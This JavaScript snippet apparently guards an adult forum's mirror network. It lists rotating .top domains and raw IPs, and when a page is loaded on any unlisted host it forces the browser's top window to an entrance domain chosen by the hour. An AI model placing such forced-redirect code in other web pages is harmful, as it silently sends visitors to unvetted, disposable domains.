var needgo = true; ///try { /// top.location.hostname; /// if (top.location.hostname != window.location.hostname) { /// top.location = window.location.href; /// } ///} catch (e) { /// top.location = window.location.href ///} //site_list_Start var domain_list = ["6dc65e87da02b.top","caoliu1024.com","1024caoliu.com","caoliu.sex","6dc65e87da02b.top","727a690f3300a.top","737cbf218ba5a.top","80ab28c1a5690.top","818754ac1fdc8.top","834079be98b86.top","80ab28c1a5690.top","1648ba9587509.top","pw6.com","clfe9e.com","clf09.com","cledb1.com","cleca6.com","54.65.159.84","15.152.94.1","yac3cb18b5ac.top"]; var entrance_list = ["6dc65e87da02b.top","727a690f3300a.top","737cbf218ba5a.top"]; var second_list = ["80ab28c1a5690.top","818754ac1fdc8.top","834079be98b86.top"]; var entrance_site_ignore = ["cledb1.com","cleca6.com","54.65.159.84","15.152.94.1","yac3cb18b5ac.top"]; //site_list_End var web_host = window.location.host.toLowerCase(); var tiaourl = 1; for (var i = 0; i < domain_list.length; i++) { if (web_host.indexOf(domain_list[i]) >= 0) { tiaourl = 0; } } //console.log("entrance_site_ignore_domainjs:"+entrance_site_ignore); for (var j = 0; j < entrance_site_ignore.length; j++) { if (web_host.indexOf(entrance_site_ignore[j]) >= 0) { tiaourl = 0; } } var gourl = ""; if (tiaourl) { var hour = (new Date).getHours(); var len = entrance_list.length; if(len){ var iRandKey = hour % len; gourl = entrance_list[iRandKey]; } } if(gourl && needgo){ top.location = "http://"+gourl; }